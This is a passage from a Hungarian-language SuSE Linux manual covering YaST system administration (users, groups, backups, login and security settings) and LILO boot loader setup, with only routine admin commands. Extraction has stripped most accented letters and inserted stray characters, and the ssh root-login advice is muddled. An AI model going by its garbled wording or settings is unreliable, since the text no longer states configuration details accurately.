vgett. Tovbbi hlzati belltsokat lthatunk a 5 . fejezetben (153. oldal). 3.6.4 l CD-ROM fjlrendszer kongurlsa o

Megvsrolhatjuk az "l fjlrendszer" CD-ROM-ot kln a SuSE Linux-tl, o vagy letlthetjk az ISO lenyomatot (image) az FTP kiszolglrl: ftp://ftp.suse.com/pub/suse/i386/) Ez az indthat (bootable) CD klnbz clokat szolgl: o Lehet v teszi egy SuSE Linux rendszer kzvetlen indtst, belertve az o X Window System-et, anlkl hogy valamit is teleptennk a merevlemezre. Ez nagyon jl jhet, ha ki akarjuk prblni, hogy vajon egy gp fut-e a SuSE Linux-szal egyltaln, vagy ha egy er s, megbzhat, el nem o roml, ment (rescue) rendszert keresnk (lsd a 16.6 . fejezetben (451. o oldal)). Tovbb, beintegrlhatjuk az "l fjlrendszer"-t a rendes SuSE Linux o rendszerbe is. Ez csak akkor hasznos, ha nincs elg lemezhelynk. Most meg is fogjuk trgyalni ezt. Legynk tisztban vele, hogy az l fjlrendszer csak egy bizonyos vo lasztkt tudja nyjtani a programoknak. Egy CD-n a hely, korltozott s jelenleg egy teljes SuSE Linux 7 CD-ROM-bl ll. . . 110

3.6. Rendszeradminisztrci Megvan a lehet sgnk a YaST -ban, hogy integrljuk az l fjlrendszert. o o Ha ezt vlasztjuk, akkor minden egyes csomaghoz, ami nincs a rendszernkre teleptve, egy link fog ltrejnni. Ezek a linkek a CD-n lv programokra o mutatnak. gy a programok knnyen indthatk a CD-r l, anlkl hogy leo mezhelyet hasznlnnak. Tisztban kell lennnk azonban azzal, hogy emiatt a CD-nek az l fjlrendszerrel a CD-ROM meghajtban kell lennie, mivel az o be lesz csatolva a (Csatolsi pont) /S.u.S.E. al). Ha egy msik CD-t akarunk becsatolni, el szr indtsunk (boot) az l fjlrendszerrel s utna o o csatoljuk le (unmount), az albbi parancsot hasznlva:
meggyfa: # umount /S.u.S.E

s csatoljuk fel a msik CD-t ezutn. Nhny esetben, mg az alap programok is be vannak integrlva a CD-r l az o l fjlrendszerbe. Ebben a specilis esetben, ezek a programok llandan o futnak s ezltal, nem vagyunk kpesek lecsatolni (unmount) a CD-t. Ha mgis muszly becsatolni egy msik CD-t, az alaprendszernket gy terveztk meg, hogy az mindig kpes futni, mg a CD nlkl is. gy csak indtsuk el a gpnket a CD kivtele utn. A Linux egy pr hibazenetet fog megjelenteni, amit gyelmen kvl hagyhatunk. A CD elrshez szksges minden program a rendszer rsze. Ha a kvetkez hiba zenetet kapjuk "no space left on device", o uu ez azrt van, mert az inode s r sg (density) a rendszernkn tl kicsi. A nagyon kicsi partcikkal, ez a leggyakoribb hiba. Sajnlatosan, ezt csak az jraformattls s az inode mret cskkentse tudja megoldani (pl. 1 kB inode-onknt a 4 kB inode-onknti helyettlsd a 3.3.10 . fejezetben (94. oldal)). Ha a merevelemeznkn mr minden helyet felhasznltunk, nem is tudjuk elindtani a YaST -ot, hogy levlassza (disintegrate) az l fjlrendszert (live o lesystem), gy a YaST nem tudja ltrehozni az indtshoz szksges fjlokat. Ebben az esetben, csak tvoltsunk el nhny szimbolikus linket ami a /SuSE knyvtrra mutat.2 Az l fjlrendszer el nye, a lemezhasznlatban van. Van azonban nhny o o htrnya is: Az l fjlrendszer elrse meglehet sen lass. Egy CD-ROM meghajtt o o elrni sokkal lassabb, mint egy merevlemezt. Sok szimbolikus linket kell ltrehozni, s mindegyik egy inode-ot ignyel, szksgnk van elegend szabad elrhet inode-ra. Az inode-ok o o szmt akkor hatroztuk meg, amikor kijelltk a partcikat s ezt csak a partci jra formattlsval tudjuk megvltoztatni. Az l CD integrlshoz, a partcin legalbb 50 MB szabad elrhet o o helynek kell mg lennie. 3.6.5 Bejelentkezs kongurlsa

Itt bellthatjuk, hogy a rendszer miknt induljon, szveges mdban vagy grakus mdban az X Window System-mel. Ha a grakus bejelentkezst
2 Fjlok eltvoltst a 19.7.5 . fejezetben (501. oldal) trgyalja, s utn prbljuk meg elindtani a YaST -ot jra.

111

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz akarjuk hasznlni, kt vlasztsunk van: az XDM vagy a KDM . Ha a KDM et vlasztjuk, akkor azt is megadhatjuk, hogy kinek engedlyezzk lezrni a rendszert. A msik bejelentkezsi opci a szveges konzolon keresztl trtnik. Ezzel az opcival elindthatjuk az X Window System-et a startx paranccsal (lsd a 3.25 brt).

3.25 bra: Bejelentkezs kongurlsa Ha nem vagyunk teljesen biztosak benne, hogy az X Window System helyesen van kongurlva, nem szabad aktivlnunk egyik grakus bejelentkez t sem. Teszteljk le el szr, hogy el tudjuk-e indtani az X Window o o System-et konzolrl. Ha gy lltjuk be a rendszernket, hogy grakus bejelentkez vel induljon, o az /etc/inittab fjl kerl mdostsra, belltva a 3. futsszintet alaprtelmezett futs szintknt (runlevel) (lsd a 89 . fejezetben (471. oldal)). Ha a 3. futsszint ms clt szolgl a gpnkn, akkor sem az XDM sem a KDM nem lesz aktivlva. 3.6.6 A susewm belltsa (a Window Manager)

Ezzel a menopcival bellthatjuk a "Grakus Munkaasztalt". Vlasszuk ki az alaprtelmezett ablakkezel nket. Megmondhatjuk azt is a o susewm-nek, hogy mely kongurcis fjlokat kell ltrehoznia s karban tartania. (a technikai htteret lsd a 9.5 . fejezetben (302. oldal).) 3.6.7 Felhasznlk adminisztrlsa

A YaST megfelel eszkzt nyjt a felhasznlk account-jainak a ltrehoo zsra, trlsre s karbantartsra. A menopci cme Felhasznlk Adminisztrlsa s ez almenje a Rendszeradminisztrcinak. Bekapcsolhatjuk a Modem hasznlatnak engedlyezse-t is. Ha ezt megadjuk, akkor hozzadjuk a felhasznlt az uucp s a 112

3.6. Rendszeradminisztrci

3.26 bra: A susewm belltsa

3.27 bra: Felhasznlk adminisztrlsa dialout csoportokhoz is. E csoportok tagjai kpesek fel s lekapcsoldni a PPP eszkzk segtsgvel. Amikor egy j felhasznli account-ot hozunk ltre, az alaprtelmezett belltsi fjlok a /etc/skel knyvtrbl tmsolsra kerlnek az j felhasznl home knyvtrba. Ez egy gyes eljrs, mivel gy a szemlyes belltsi fjlokat automatikusan ltre lehet hozni. Termszetesen a felhasznlk ks bb o szabadon, kedvk szerint megvltoztathatjk majd ezeket a belltsi fjlokat sajt home knyvtrukban. Amikor ltrehozunk vagy eltvoltunk egy felhasznli account-ot, a YaST az albbi kt szkriptet futtatja le: egy felhasznli account ltrehozsakor, a /usr/sbin/useradd. local szkript lefut, ha az ltezik. Ez a szkript fogja ltre hozni a szksges bejegyzseket a /etc/passwd s az /etc/shadow fjlokban. 113

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz A home knyvtr ltrejn s a fjlok a /etc/skel all tmsoldnak ide. egy felhasznli account eltvoltsakor, a /usr/sbin/userdel. local szkript fut le. Az accounthoz tartoz sorok a passwd s shadow fjlokbl trl dnek. A home knyvtrak megmaradnak. o Mindkt szkript a felhasznli nevet, mint paramtert hasznlja. Ha tovbbi informci szksges (felhasznli ID, bejelentkez shell, home knyvtr), o megtallhat a /etc/passwd fjlban. Ha gyakorlott felhasznk vagyunk s nem akarjuk a YaST -ot hasznlni a felhasznli account-ok ltrehozsra, a useradd s a userdel programok rendelkezsnkre llnak. Megjegyzs a PAM-hoz A PAM (Pluggable Authentication Modules) kongurcis fjlja a /etc/ pam.d-ben tallhat. Dokumentci programozknak s rendszergazdknak a /usr/share/doc/packages/pam alatt tallhat. A SuSE Linux kpes MD5 jelszavakat kezelni. Az MD5-tel titkostott, jelszavak hosszabbak lehetnek mint 8 karakter (egszen 128 karakterig). Mivel az MD5 titkosts nem kompatibilis a szabvny Unix crypt() fggvnnyel, a legtbb kereskedelmi Unix rendszer s nhny program nem m kdik az u MD5 jelszval. gy legynk nagyon vatosak, ha bekapcsoljuk ezt a kpessget. Megjegyzsek a kongurcirl a /usr/share/doc/packages/pam/md5.config alatt tallhatk. 3.6.8 Csoportadminisztrci

A YaST hasznlhat felhasznli csoportok ltrehozsra s karbantartsra is.

3.28 bra: Csoport adminisztrci a YaST -tal 114

3.6. Rendszeradminisztrci A Linux alatt (mint a UNIX-oknl ltalban) minden egyes felhasznlt be kell tenni legalbb egy csoportba. Ez azrt szksges, mert az engedlyezsek (bizonyos fjlokhoz) attl fggnek, hogy mely csoporthoz tartozik az adott felhasznl. A felhasznli csoportok hasznlhatk korltozsra (vagy engedlyezsre), a felhasznlk bizonyos knyvtrakhoz val hozzfrsnek szablyozsra. Csoportjelszavak hasznlhatk arra is, hogy korltozzk (vagy megengedjk) a bizonyos knyvtrakhoz val hozzfrst. Nhny csoport mr ltezik Linux alatt, pldul a users, root felhasznli csoportok s mg sok ms. Egy csoportnv, mint pl. a users, csak szveges kpviseltetse a tnyleges csoportnak. A Linux a csoportokat a "GID"-rl (Csoport ID) ismeri fel. A csoportokra vonatkoz kongurcis fjl a /etc/group alatt tallhat. Ez csak httrinformci, amit a legtbb rendes felhasznlnak nem is szksges tudnia. A YaST -tal knny csoportokat ltrehozni. A Rendszeru adminisztrci mennek van egy almenje a Csoport adminisztrci. Ezt a kperny t mutatjuk be a 3.28 brn. o 3.6.9 Biztonsgi ments ksztse

Ez az opci segt biztonsgi mentst kszteni az sszes mdostott vagy j fjlrl s csomagrl egy fjlba, vagy szalagra. Ezek legtbbszr kongurcis fjlok.

3.29 bra: Biztonsgi ments a YaST -tal knyvtrak kivlasztsa kizrsra A dialg hrom rszb l ll (lsd a 3.29 brt): o 1. Fjlok kivlasztsa biztonsgi mentsre: Itt megmondhatjuk a YaST -nak, hogy mely knyvtrakat kell kizrni a biztonsgi mentsb l. El re deniltak a /tmp /dev s a /proc. o o Hozz kell adnunk a becsatolt CD-ROM-okat vagy az NFS-becsatolt fjlrendszereket a listhoz. Minl kevesebbet akarunk menteni, annl gyorsabban fog lefutni, mivel a szksgtelen sszehasonltsokat a csomagok listjval kihagyja. A + s - billenty ket hasznlva hozzadhatunk u 115

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz vagy eltvolthatunk knyvtrakat kzlk. Az F10 lenyomsa tvezet a kvetkez lpshez. o 2. Keress: Ebben a lpsben, a YaST kikeresi azokat a fjlokat amiket be kell vonni a biztonsgi mentsbe. A megtallt csomagok mrete s szma frissl a keress alatt. Miutn ez ksz, egy listt kapunk az sszes megtallt llomnnyal. Itt mg mindig levlaszthatunk fjlokat a haszn latval. 3. Parancsok megadsa: Itt eldnthetjk, hogy hogyan legyenek ezek a fjlok elmentve. Megadhatunk archv neveket, opcikat s egyebeket. Ez a biztonsgi mentsi mdszer csak akkor m kdik, ha a fjlok dtuma u egybknt nem lett megvltoztatva. Tovbb ez a m velet jelent s RAM-ot u o ignyel. Egy kznsges CD fjlnevei kzel 6 MB RAM-ot foglalnak el. Azonkvl, szksgnk van elegend szabad lemez helyre, hogy elmentsk a o biztonsgi archvumot. Az archvum s rtse a fjl mretnek cskkentshez u vezetkzelt leg fele lesz az erdetinek. A biztonsgi ments legjobb mdja, o egy szalagegysg (streamer) hasznlata. 3.6.10 A rendszer biztonsgi belltsai

Csak akkor vltoztassunk az alapbelltson, ha rszletes ismereteink vannak a krdst illet en. Felttlen olvassuk el az idevg rszt a 18 . fejezetben o (477. oldal). Ha nem akarjuk megengedni a root-nak az ssh -n keresztli bejelentkezst, akkor a /etc/ssh_config-ot be kell lltanunk. A /etc/sshd_config-ban, az alapbellts PasswordAuthentication yes Ha az ssh helyesen van belltva, a root bejelentkezse egy hlzaton keresztl, biztonsgos. 3.6.11 Az XFree86(TM) kongurlsa

Az X Window System (XFree86) bellthat tbbfle kongurcis eszkzzel. Prbljuk meg el szr a SaX -ot hasznlni. A SaX lersa rszletesebben o a 8.3 . fejezetben (240. oldal) tallhat. A technikai rszleteket a 8 . fejezetben (237. oldal) olvashatjuk el. 3.6.12 A YaST kongurcis fjljnak megvltoztatsa

A SuSE Linux-szot egy kzponti kongurcis fjl, a /etc/rc.config tartja karban. Ezt a fjlt indulskor a indt szkript olvassa be (az amelyik a rendszernket kongurlja). Lehet sg van az ebben a fjlban lv vltozkat megvltoztatni a YaST o o tal. gy anlkl is megvltoztathatunk belltsokat rendszernkben, hogy ismernnk minden rszlett az sszes kongurcis fjlnak. A kongurcis fjl megvltoztatshoz tartoz menopci, a Rendszeradminisztrci alatt a Konfigurcis fjl megvltoz116

3.6. Rendszeradminisztrci

3.30 bra: Kongurcis fjl szerkesztse a YaST -tal tatsa cmsz alatt tallhat. A kurzorral vlasszuk ki a vltozt, amit meg akarunk vltoztani s nyomjuk meg a vagy az F3 billenty t. u Miutn a YaST -ot hasznltuk egy rtk megvltoztatsra a SuSEcong automatikusan el fog indulni. Ha gy dntnk, hogy kzzel vltoztatunk meg egy rtket (a /etc/rc. config fjl szerkesztsvel), emlkezznk hogy neknk kell manulisan lefuttatni a SuSEcong szkriptet. Ez a szkript el fogja vgezni a szksges frisstseket a megfelel fjlokban, a /etc/rc.config-ban belltott (vagy o megvltoztatott) rtkek szerint. Tovbbi rszletek err l a tmrl a 17.6 . o fejezetben (463. oldal) alatt tallhatk.

117

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz

118

4. fejezet

Rendszerbetlts s rendszerbetlt o programok: LILO , loadlin, stb.


Fordtotta: Pet Sndor Lszl s Vradi Istvn o Ebben a fejezetben a linux-rendszer betltsnek klnbz mdjait rszleo tezzk. Hogy jobban megrtsk, mi tartozik ehhez, el szr ismerjnk meg o pr technikai informcit a PC rendszerbetltsvel kapcsolatban.

4.1

A PC rendszerindtsa

A gp bekapcsolsa utn els knt a BIOS (Basic Input Output System) veszi o t az irnytst, beindtja a kperny t, billenty zetet s ellen rzi a memrit. o u o Amg ez a feladat vgrehajtdik semmilyen kls troleszkzr l vagy eszo o kzr l nem vesz tudomst a rendszer. o Miutn az alaprendszer elvgezte a bels belltst, nekilt ellen rizni a o o krltte lv hardvert. A dtumot, id t s a legfontosabb kls eszkzkre o o o vonatkoz informcit a CMOS belltsok tartalmazzk (rendszerint erre vonatkozik a CMOS setup). A CMOS olvassa utn a BIOS felismerheti az els merevlemezt (belertve a rszleteket, mint amilyen a geometrijra o vonatkoz). Ezutn kpes lesz onnan betlteni az opercis rendszert (OS). Hogy az OS-t betltse, a rendszer 512 byte adatrszt tlt be az els merevo lemezr l a rendszermemriba s vgrehajtja a rsz elejn tallhat kdot. o Az ott tallhat javaslatok meghatrozzk a rendszerbetltsi folyamat j rszt. Ez okbl nevezzk a merevlemez els 512 bjtjt gyakran Master Boot o Record-nak, (MBR) (MBR). Mindazonltal az egsz folyamat elgg bonyolult s ez a lers leegyszer su tett, de tisztn ltjuk, hogy eddig a pontig (az MBR betltsig), a rendszerbetlt folyamat fggetlen a teleptett opercis rendszert l, minden PC-n o o megegyez , s minden PC a BIOS-ban trolt rutinok (meghajtk) segtsgo vel ri el a perifrikat. Master Boot Record Az MBR elrendezse egy fggetlen hagyomny szerint van hitelestve. Az o els 446 bjt a program kd szmra van fenntartva1 . A kvetkez 64 bjt o
1 A kdnak magnak s a nyjtott lehet sgeknek attl a rendszert l fgg en, amelyik ltreo o o hozta az MBR-t.

119

4. Rendszerbetlts s rendszerbetlt programok o helyet ad a partcis tblnak, ngy partciig2 . Az utols kt bjt egy klnleges "magic number"-t (AA55) tartalmaz. Brmely MBR amely megprblja fellrni ezt ms szmmal, kudarcot vall. Boot Sectors A rendszerbetlt szektorok az els k egy merevlemezes partcin3 . 512 bjtot o o sznnak arra, hogy tartalmazzk azt a kdot, ami kpes beindtani a partcin lv opercis rendszert. A DOS-ra formzott, Windows-os s OS/2-es paro tcik kifejezetten ezt teszik. Ezzel ellenttben, a linux rendszerpartcik resek az elejkn. A linux partci nem indthat kzvetlenl, br tartalmazhat egy rendszermagot s egy rvnyes root fjlrendszert. Egy rvnyes rendszerbetlt szektor kveti a hagyomnyokat s bejegyzi a o "magic number"-t az MBR utols kt bjtjba. DOS vagy Windows 95 betltse Az MBR tartalmazza az arra vonatkoz iformcit, mely meghatrozza, a merevlemez mely partcija aktv, d. h., melyik partcin rdemes keresni az indtand opercis rendszert4 . A vgrehajthat kd az MBR-ben (a rendszerbetlt els fokozata) leellen rzi vajon a megjellt partci tartalmaz-e o o o rvnyes indtszektort. Ha ez az eset, a rendszerbetlt msodik szakasza onnan indulhat. DOS o rendszerprogramok most mr betlt dhetnek s ltni fogjuk a szoksos DOS o promptot. DOS esetn csak els dleges partci lehet aktvknt jellve. Ezrt nem haszo nlhatunk kiterjesztett partcin belli logikai partcit rendszerindt DOS partciknt.

4.2

Klnbz rendszerindtssal kapcsolatos fogalmak o

A legegyszer bb rendszerindts csak egy gpet felttelez egy teleptett opeu rcis rendszerrel. A PC-ken ltalban csak DOS vagy Windows 95 van egyedli rendszerknt teleptve. A rendszerindtsi folyamat ebben az esetben mr ismert. Hasonlkppen ll a dolog,5 ha a linux az egyedli hasznlt opercis rendszer. Ebben az esetben, elmletben kihagyhat a LILO teleptse. Nagy htrnya ennek, hogy a rendszermag szmra a renszerindtskor nem adhatk t paramterek. Mihelyst tbb teleptett opercis rendszernk van, szmos j rendszerindtsi lehet sg knlkozik. o
2 Enlkl a partcis tbla nlkl, fjlrendszer sem ltezhetne nem tudnnk hasznlni a merevlemezt. 3 kivve a kiterjesztett partcik esetn, melyek "tartlyknt" szolglnak ms partcik szmra. 4 Ez arra vonatkozik, hogy a DOS-t az els merevlemezre kell telepteni. o 5 A linux rendszermagot egyenesen egy "nyers (raw)" partcira kell rni s az MBR-b l indtani. o Ez meglehet sen ritka eset. o

120

4.3. A LILO ttekintse Ms OS indtsa mgneslemezr l Az els OS a merevlemezr l indthat, o o o a tbbi opercis rendszer, rendszerindt mgneslemez hasznlatval indthat. Kvetelmnyek: a oppymeghajt kpes legyen rendszerindtsra. El ny: elkerlhetjk a lehetsges rendszerbetlt gyes-bajos telepo o tst. Htrny: biztosak kell lennnk abban, nem fogyunk ki a m kd u o rendszerindt lemezekb l. o El ny vagy htrny is lehet, hogy a linuxunk nem kpes rendszerbeo tlt lemez nlkl indulni, a hasznlat krlmnyeit l fgg en. o o o A rendszerbetlt folyamat valamivel hosszabb lesz. o Tovbbi rendszerek lncolt betltse Ugyanazon rendszeresen indtott OS s ms lehetsges opercis rendszerek indthatk az els OS-en bellr l. o o Kvetelmnyek: megfelel program rendelkezsre kell hogy lljon, o lncolt rendszerbetltsre. Egy plda erre a linux betltse loadlin segtsgvel DOS-bl vagy NetWare szerver indtsa DOS-bl a server.exe-vel. Rendszerbetlt teleptse Elmletben ez lehet v teszi tetsz leges szm o o o opercis rendszer hasznlatt egy egyedlll gpen. A rendszer kivlasztsa a rendszer indtsakor trtnik. Opercis rendszer cserje rendszerjraindtst kvn. Kvetelmnyek: a rendszerbetlt programnak baj nlkl egytt kell o m kdnie minden teleptett opercis rendszerrel. u Pldk egytt meglv rendszerbetlt programokra (bizonyos krlo o mnyek kztt) OS/26 s a DOS rendszerbetlt a boot.sys. o A kvetkez rsz lerja egy rendszerbetlt program teleptst, a linux rendo o szerbetlt LILO -t hasznlva. A LILO tulajdonsgainak teljes lersa az o [Alm94]-ban tallhat. Ez a fjl kinyomtathat a kvetkez k bersval: o
meggyfa:/usr/share/doc/packages/lilo # lpr user.dvi

vagy megnzhet a kvetkez parancscsal: o o


meggyfa:/usr/share/doc/packages/lilo # xdvi user.dvi

Ezt kveti a loadlin lersa.

4.3

A LILO ttekintse

LILO itt jvnk... A linux rendszerbetlt ltalban az MBR-be van teleptve (rszletek albb o a 22 . fejezetben (123. oldal) s a 4.5 . fejezetben (130. oldal)). Amikor elindul, a LILO mr elr minden vals md merevlemezt, s a teleptse sorn kpes minden szksges adatot megtallni a raw merevlemezr l7 a paro tcionlsra vonatkoz informcik nlkl. Ez okbl az opercis rendszer az
6 7

err l tbbet a 4.7.3 . fejezetben (136. oldal) rszben o A raw eszkzt a fjlrendszer hasznlata nlkl rjk el.

121

4. Rendszerbetlts s rendszerbetlt programok o els s a msodik merevlemezr l is be tud tlt dni. A partcis tbla ltalnos o o o DOS MBR bejegyzseit, melyek az aktv partcira vonatkoznak, a LILO az MBR-beli hasznlata esetn gyelmen kvl hagyja. Egy fontos klnbsg a szoksos DOS rendszerbetlt folyamathoz kpest, o hogy brmely teleptett rendszer kzl vlaszthatunk a rendszerbetlt folyao matnl a LILO -t hasznlva. Az MBR memriba tltse utn a LILO elindul s megkr, hogy vlasszunk ki egyet a teleptett opercis rendszerek kzl (ld: 21). Mi a LILO ? A LILO egy sokoldal rendszerbetlt program. A kvetkez mdon tud o o elindtani egy opercis rendszert: betlti egy partci indt szektort s elindt egy opercis rendszert err l o a partcirl. Ez az, amit ms rendszerbetlt k is megcsinlnak. o betlti a Linux rendszermagot s elindtja a Linuxot. Ez az amit ms rendszerbetlt k nem tudnak megtenni. o Tovbb a LILO egy fontos lehet sggel rendelkezik; kpes parancssort to adni a rendszermagnak. Biztonsgi okobl ez jelszval levdhet teljesen, o vagy rszlegesen. Hogy indtunk a LILO -val? Amikor a LILO elindul, megjelenti a LILO szveget s egy dvzl zenetet o (amit mi adtunk meg a telepts sorn). Ezutn egy parancs prompt jelenik meg:
boot:

Itt kivlaszthatjuk az opercis rendszernket, a nevnek beadsval, ami azutn elindul. Az opercis rendszer nevt mr korbban belltottuk, a telepts sorn. Ezen a ponton tadhatunk egy paramter sort a Linux rendszermagnak. Kaphatunk egy listt az sszes elrhet opercis rendszer nevvel, o ha megnyomjuk a TAB billenty t. u A LILO alkotrszei A LILO gpezete az albbi rszekb l ll:8 o kezdetben, els lps-knt, a LILO kd az indt szektorban, ami aktio vlja a rendszerindtst a szve a LILO kdnak, a /boot/boot.b-ban tallhat egy map fjl, normlisan a /boot/map, ahov a LILO bejegyzi a Linux rendszermagok helyt s a telepts sorni egyb adatokat opcionlis: egy zenet fjl aminek a tartalma dvzl zenetknt megjeo lenik a LILO indt kivlasztsa el tt. Ez rendszerint a: o /boot/message (vagy hasonl) alatt tallhat
8 Egybknt, a LILO ltal teleptett indt szektor tartalmaz olyan kdrszletet, ami vrusokban is megtallhat. A DOS vruskeres k ltalban vrusosnak rzkelik a /boot/any_b.b vagy o a /boot/any_d.b fjlokat s jelzik, hogy talltak egy AIRCOP indtszektor vrust. Ki kell kapcsolnunk az MBR-nak minden BIOS vdelmt is.

122

4.3. A LILO ttekintse a klnbz Linux rendszermag s indt szektorok, amit a LILO felao jnlhat Brmilyen rsi kisrlet (mg ppen fjl mozgs esetn is) brmelyikre ezek kzl tnkreteszi a map fjlt, ez a LILO jratelepts-t ignyli t o lnk. Ez csak akkor fontos, amikor egy msik rendszermagra vltunk t. Hov telepthet a LILO o Ez a fentebb emltett LILO els lpsre vonatkozik. Miel tt a rszletekbe o o mennnk, szeretnnk rmutatni egy nagyon lnyeges korltozsra: Minden LILO alkotelemnek s a /boot/vmlinuz rendszermag fjlnak a merevlemez els 1024 cilindern bell kell lennie. Ez megoldhat egy o kis kln partci ltal, ami "becsatolhat" a /boot knyvtrba, s ami teljes egszben az els 1024 cilinderen bell tallhat. o Ez azrt van, mert csak ezek az elrhet cilinderek amikor a BIOS elindtja a o rendszert. A rgebbi BIOS-okkal s IDE meghajtkkal szintn korltozdhat az egyik els kt merevlemezre (/dev/hda s /dev/hdb). o Ha egy rgebbi BIOS-unk van, lehetsges, hogy a meglv (E)IDE merevleo mezek megakadlyozhatjk a SCSI eszkznk indtst. Sok jabb BIOS lehet v teszi tovbbi eszkzk elrst, pldul az EIDE o merevlemez vezrl kkel kapcsolatban mg akr 4 EIDE eszkzt is. Sok moo dern SCSI host vezrl is lehet v teszi a SCSI eszkzk sorrendbeli "kiemeo o lst" azrt, hogy indthatv vljanak. Ha hasznlni akarjuk ezt a kpessget a LILO -val, nzzk meg a disk opcikat a 128 oldalon. Az egyszer sts kedvrt mindezeket sszegy jtttk az "1024-es cilinderu u hatr" cmsz al. Mindezeket gyelembe kell venni miel tt els alkalommal o o teleptennk (lsd a 2.7.1 . fejezetben (57. oldal)) utna mr tl ks , s o sok kln munkt okozhat. Tovbbi informcikat lsd a 4.8.2 . fejezetben (139. oldal) alatt. Az albbi helyeken lehet trolni a LILO indt szektort. egy mgneslemezen. Ez a legbiztonsgosabb de a leglassabb alternatva a LILO -val val indtsra (lsd a 4.6 . fejezetben (133. oldal)). Akkor vlasszuk ezt a lehet sget, ha nem akarjuk megvltoztatni az indt o szektorokat. az indt szektorba az els dleges Linux partcinak az els merevleo o mezen. Ez rintetlenl hagyja az MBR-t. Miel tt indthatnnk, a partcit o aktvnak kell kijellnnk az fdisk -kel. Ha a Linux teljesen logikai meghajtkra van teleptve vagy a msodik merevlemez partciira, ekkor csak az els meghajt kiterjesztett partcijnak indt szektora marad (ha van o ott egy). A Linux fdisk programja aktivlni is tud egy ilyen partcit. Ha tbb rendszert akarunk indtani a merevlemezr l, ez meglehet sen o o hosszadalmas. Minden alkalommal amikor indtani akarunk, el z leg oo aktivlnunk kell a vonatkoz indt szektort. A kvetkez kt vltozat o sokkal kevsb knyelmetlen. 123

4. Rendszerbetlts s rendszerbetlt programok o a Master Boot Record-ba. Ez a vltozat knlja a legnagyobb rugalmassgot. Radsul csak ez az egyetlen lehetsges alternatva ha az sszes Linux partcik a msodik merevlemezen vannak s nincs kiterjeszett partci az els meghajtn. Minden belltst az MBR-on rendkvl krlo tekintssel kell szerkesztennk, mivel a hibk slyos kvetkezmnyekkel jrhatnak. A biztonsgi vetlett a 4.5 . fejezetben (130. oldal) trgyaltuk meg. Ha eddig ms rendszerbetlt t hasznltunk s tovbbra is azt akarjuk o hasznlni. A rugalmassguktl s teljestmnykt l fgg en klnbz o o o vltozatok vannak. Elterjedt eset: az els dleges Linux partcink a msoo dik merevlemezen van ahonnan indtjuk a Linuxot. A rendszerbetlt nk o kpes indtani ezt a partcit az indt szektoron keresztl. Ezutn aktivlhatjuk a Linux partcinkat a LILO -nak ebbe az indt szektorba trtn o teleptsvel, s megmondva a rendszerbetlt nknek, hogy ez aktv. o Legynk vatosak ha megprblunk egy logikai Linux partcit indthatv tenni a LILO -nak arra a partcira val teleptsvel. A siker nincs garantlva jelenleg ezen a ponton, mg akkor sem, ha a msik rendszerbetlt nk o kpes indtani logikai partcikat. Prbljuk ki ha tetszik. A legbiztonsgosabb md ezt kiprblni egy kis Linux teleptssel, meggyelve, hogy m kdik-e. Taln szerencsnk van. u A javasolt t, mg mindig, egy els dleges s indthat Linux partci o ltrehozsa.

4.4

A LILO belltsa

A LILO egy rugalmas rendszerbetlt ami sokfle mdszert knl az egyedi o igny belltsok alkalmazsra. A legfontosabb lehet sgeket s rtelmeu o zseket alant rjuk le. Ha tovbbi rszleteket akarunk megtudni, nzzk meg az [Alm94] knyvben. A LILO belltsa a /etc/lilo.conf-ban trtnik. Ha most teleptjk a LILO -t els alkalommal, akkor ajnlatos a YaST -ot hasznlni a LILO beo lltsra. A nomhangolst ks bb is elvgezhetjk a /etc/lilo.conf o szerkesztsvel. A /etc/lilo.conf-nak csak a root szmra szabad olvashatnak lennie, mivel az jelszkat is tartalmazhat (lsd a 4.4.2 . fejezetben (127. oldal); ez az alaprtelmezett bellts a SuSE Linux-szal. Ha ktsg merl fel, csak hajtsuk vgre az albbi parancsot, rendszergazdaknt:)
meggyfa: # chmod 0600 /etc/lilo.conf

JavasoIt, hogy tartsunk a meglv rgi (s m kd ) lilo.conf-bl bizo u o tonsgi msolatot egy biztos helyen. A belltsunk csak akkor lp letbe, amikor jrateleptjk a LILO -t a /etc/lilo.conf megvltoztatsa utn (lsd a 4.5 . fejezetben (130. oldal)). 124

4.4. A LILO belltsa 4.4.1 A lilo.conf szerkezete

A /etc/lilo.conf egy global section-nel kezd dik, amit egy o vagy tbb system sections kvet minden egyes opercis rendszerre, amiket majd a LILO nak kell elindtania. Egy j rsz (section) kezd sora o mindig image vagy other. A /etc/lilo.conf-ban a bejegyzsek sorrendje csak annyira szmt, hogy a listn az els indul el alaprtelmezettknt, ha nincs felhasznli beao vatkozs ezt be lehet lltani a delay= s timeout=-al. Egy plda bellts, melyben egy gpen mindkt rendszer, a DOS s Linux is m kdik, a 4.4.1 fjllistban. Kt Linux rendszermag (egy rgebbi s u egy j) a /dev/hdb3-on, valamint az MS-DOS (vagy Windows 95/98) a /dev/hda1-en. Minden ami a # jel s a sor vge kztt van, megjegyzsnek tekintend . o A szkzket s megjegyzseket a LILO gyelmen kvl hagyja, ezek az olvashatsg javtsra hasznlhatk. Most vgigmegynk a legfontosabb sorokon lpsr l lpsre: o Global section (Paramter rsz) boot=<indteszkz (bootdevice)> Az eszkz amelynek az els szektorba a LILO -t telepteni kell. o Az <indteszkz> lehet: egy mgneslemez meghajt (/dev/fd0), egy partci (pl. /dev/hdb3), vagy egy egsz lemez (pl. /dev/ hda). Ez az opci azt jelenti, hogy a LILO az MBR-ba kerl. Alaprtelmezs: ha ez az opci hinyzik, a LILO teleptse a jelenlegi root partcira kerl. prompt A LILO prompt mindig megjelenik. Az alaprtelmezs: nincs prompt (hasonltsuk ssze a delay-vel tvolabb lent). Ez akkor javasolt, ha a LILO -nak tbb mint egy rendszert kell kezelnie. Tovbbiakban, a timeout-ot be kell lltanunk, hogy biztostsuk az automatikus indtst, ha semmit nem adunk be a prompt-nl. timeout=<tizedmsodperc> lltsuk be a timeout-ot a prompted opcira, gy lehet v tve egy auo tomatikus indtst, ha az adott id n bell semmi beads nem trtnik. o A <tizedmsodpercek> a htralv id 0.1 msodperces lpsekben. o o Nyomjuk meg a Shift s a timeout jraindul. Alaprtelmezs: -et vgtelen, pl. nincs automatikus indts. A Linux section image=<rendszermag fjl (kernelimage)> Ide az indtand rendszermag fjl nevt kell beadni a knyvtrnak helyvel egytt. Az j rendszernkkel ez a legvalsznbben /boot/ vmlinuz, vagy /vmlinuz a rgebbi 